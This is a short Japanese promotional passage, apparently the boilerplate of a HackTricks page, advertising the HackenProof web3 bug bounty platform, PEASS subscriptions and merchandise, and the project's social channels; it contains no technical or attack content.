ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長途中のweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップしてハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?サブスクリプションプランをチェックしてください!
- The PEASS Familyを発見しましょう、独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう
- 💬 Discordグループに参加するか、Telegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。